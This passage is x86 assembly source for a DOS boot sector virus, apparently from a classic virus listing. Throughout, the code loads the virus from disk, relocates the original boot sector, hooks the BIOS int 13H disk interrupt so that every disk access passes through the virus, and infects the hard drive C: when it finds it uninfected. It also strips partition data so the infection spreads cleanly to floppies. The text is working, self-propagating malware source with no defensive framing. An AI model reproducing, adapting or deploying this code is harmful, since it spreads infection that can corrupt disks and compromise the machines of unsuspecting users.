LOAD: mov dx,100H ;disk 0, head 1
LOAD1: mov ax,206H ;read 6 sectors
int 13H ;call BIOS to read it
MOVE_OLD_BS:
xor ax,ax ;now move old boot sector into
mov es,ax ;low memory
mov si,OFFSET SCRATCHBUF ;at 0000:7C00
mov di,OFFSET BOOT_START
mov cx,256
rep movsw
SET_SEGMENTS: ;change segments around a bit
cli
mov ax,cs
mov ss,ax
mov sp,OFFSET STEALTH ;set up the stack for the virus
push cs ;and also the es register
pop es
INSTALL_INT13H: ;now hook the Disk BIOS int
xor ax,ax
mov ds,ax
mov si,13H*4 ;save the old int 13H vector
mov di,OFFSET OLD_13H
movsw
movsw
mov ax,OFFSET INT_13H ;and set up new interrupt 13H
mov bx,13H*4 ;which everybody will have to
mov ds:[bx],ax ;use from now on
mov ax,es
mov ds:[bx+2],ax
sti
CHECK_DRIVE:
push cs ;set ds to point here now
pop ds
cmp BYTE PTR [DR_FLAG],80H ;if booting from a hard drive,
jz DONE ;nothing else needed at boot
FLOPPY_DISK: ;if loading from a floppy drive,
call IS_HARD_THERE ;see if a hard disk exists here
jz DONE ;no hard disk, all done booting
mov al,80H ;else load boot sector from C:
call GET_BOOT_SEC ;into SCRATCHBUF
call IS_VBS ;and see if C: is infected
jz DONE ;yes, all done booting
call INFECT_HARD ;else go infect hard drive C:
DONE:
mov si,OFFSET PART ;clean partition data out of
mov di,OFFSET PART+1 ;memory image of boot sector
mov cx,3FH ;so it doesn't get spread to
mov BYTE PTR [si],0 ;floppies when we infect them
rep movsb
xor ax,ax ;now go execute old boot sector
push ax ;at 0000:7C00
mov ax,OFFSET BOOT_START
push ax
retf
ORG 7DBEH
PART: DB 40H dup (?) ;partition table goes here
ORG 7DFEH
DB 55H,0AAH ;boot sector ID goes here
ENDCODE: ;label for the end of boot sec
COMSEG ENDS
END START
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